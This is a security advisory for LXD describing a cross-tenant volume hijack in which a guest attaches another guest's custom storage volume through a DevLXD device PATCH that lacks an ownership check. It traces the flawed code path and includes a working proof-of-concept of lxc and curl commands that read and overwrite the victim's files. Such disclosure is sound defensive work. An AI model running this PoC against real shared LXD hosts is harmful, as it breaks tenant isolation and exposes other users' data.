GHSA-hhf9-qw4v-72xp

Dashboard / Vulnerabilities / GHSA-hhf9-qw4v-72xp

GHSA-hhf9-qw4v-72xp

Summary: lxd allows Cross-guest volume hijack via DevLXD device patch

Details: ### Summary A guest can mount another guest's custom storage volume over `/dev/lxd` and read or write its contents without owning it. The DevLXD storage API blocks access to volumes you don't own, but the instance device-update path that attaches a volume to a container without checks ownership. Any guest in a project with `security.devlxd.management.volumes` enabled can attach a volume belonging to a different guest by naming it in a device `PATCH`, giving one tenant full read and write access to another tenant's volume data. ### Details Volumes created over DevLXD get `volatile.devlxd.owner` set to the calling identity. The storage handlers enforce it on `GET`/`PUT`/`DELETE` ([`isDevLXDVolumeOwner`, lxd/devlxd_storage.go:359](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_storage.go#L359)) and on volume-copy sources ([devlxd_storage.go:286](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_storage.go#L286)). The device-attach path does not. `devLXDInstancePatchHandler` ([lxd/devlxd_instances.go:88](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#L88)) passes the guest's device map to `generateDevLXDInstanceDevices` ([devlxd_instances.go:178](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#L178)). For a device that isn't already on the instance, the only check is `isDeviceAccessible(device)`: ```go if (exists && !isOwned) || (!isDeviceAccessible(device)) ``` `exists` is false for a newly added device, so `isDeviceAccessible` is the whole gate. It resolves to `newDevLXDDeviceAccessValidator` ([devlxd_instances.go:250](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#L250)), which is `diskDeviceAllowed && filters.IsCustomVolumeDisk(device)`. `IsCustomVolumeDisk` ([lxd/device/filters/disk.go:28](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/device/filters/disk.go#L28)) checks the device shape only: `type=disk`, non-empty `source`, non-empty `pool`. It never loads the `(pool, source)` volume or compares its owner to the caller. The handler then sets `volatile.<dev>.devlxd.owner` to the caller and issues an in-process `PATCH` to `instancePatch` ([lxd/instance_patch.go:55](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/instance_patch.go#L55)). That call skips the HTTP access handler and runs only project quota checks (`limits.AllowInstanceUpdate`, [instance_patch.go:215](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/instance_patch.go#L215)) before `c.Update`. The disk device's `validateConfig` confirms the volume exists but does no ownership or RBAC check. A guest can therefore point a new disk device at any custom volume in its project and LXD mounts it. The recorded device owner becomes the attacker while the volume's `volatile.devlxd.owner` still names the victim. ### PoC Built from source at HEAD `d29ece6284` (reports as `6.8`, API extension `devlxd_volume_management`); single host, `dir` pool, default project. Host setup, two guests with separate DevLXD identities, each scoped to edit only its own instance: ```bash lxc launch images:alpine/edge guesta -c security.devlxd=true -c security.devlxd.management.volumes=true lxc launch images:alpine/edge guestb -c security.devlxd=true -c security.devlxd.management.volumes=true lxc exec guesta -- apk add --no-cache curl ; lxc exec guestb -- apk add --no-cache curl for g in a b; do lxc auth identity create devlxd/id$g lxc auth group create g$g lxc auth group permission add g$g project default can_view lxc auth group permission add g$g project default can_view_storage_volumes lxc auth group permission add g$g project default can_create_storage_volumes lxc auth group permission add g$g instance guest$g can_view project=default lxc auth group permission add g$g instance guest$g can_edit project=default lxc auth identity group add devlxd/id$g g$g done TOKEN_A=$(lxc auth identity token issue devlxd/ida --quiet) TOKEN_B=$(lxc auth identity token issue devlxd/idb --quiet) ``` With `devlxd` defined as `lxc exec <c> -- curl --unix-socket /dev/lxd/sock -H "Authorization: Bearer <tok>" ...`: ```bash devlxd guesta $TOKEN_A POST /1.0/storage-pools/default/volumes/custom '{"name":"vola","type":"custom","config":{}}' devlxd guesta $TOKEN_A PATCH /1.0/instances/guesta '{"devices":{"mine":{"type":"disk","pool":"default","source":"vola","path":"/mnt/mine"}}}' lxc exec guesta -- sh -c 'echo TOP-SECRET-OWNED-BY-A > /mnt/mine/secret.txt' devlxd guesta $TOKEN_A PATCH /1.0/instances/guesta '{"devices":{"mine":null}}' devlxd guestb $TOKEN_B GET /1.0/storage-pools/default/volumes/custom/vola # HTTP 404 devlxd guestb $TOKEN_B PATCH /1.0/instances/guestb '{"devices":{"stolen":{"type":"disk","pool":"default","source":"vola","path":"/mnt/stolen"}}}' # HTTP 200 lxc exec guestb -- cat /mnt/stolen/secret.txt lxc exec guestb -- sh -c 'echo PWNED-BY-B > /mnt/stolen/b_was_here.txt' ``` `lxc storage volume get default vola volatile.devlxd.owner` returns guesta's identity; `lxc config device get guestb stolen source` returns `vola`. ### Impact Broken access control across tenants. It affects operators running untrusted guests in a shared LXD project with `security.devlxd.management.volumes` enabled. Any such guest can read and overwrite every custom volume owned by the other guests in that project. The attacker needs only a normal DevLXD identity scoped to its own instance, and the victim does nothing. Volume names that aren't already known can be recovered by probing, since an attachable volume returns `200` and a missing one returns a not-found error.

References: https://github.com/canonical/lxd/security/advisories/GHSA-hhf9-qw4v-72xp, https://nvd.nist.gov/vuln/detail/CVE-2026-12411, https://github.com/canonical/lxd/pull/18585, https://github.com/canonical/lxd/commit/752e25cfb849a349ff08939ce02747ef4d4e69cc, https://github.com/canonical/lxd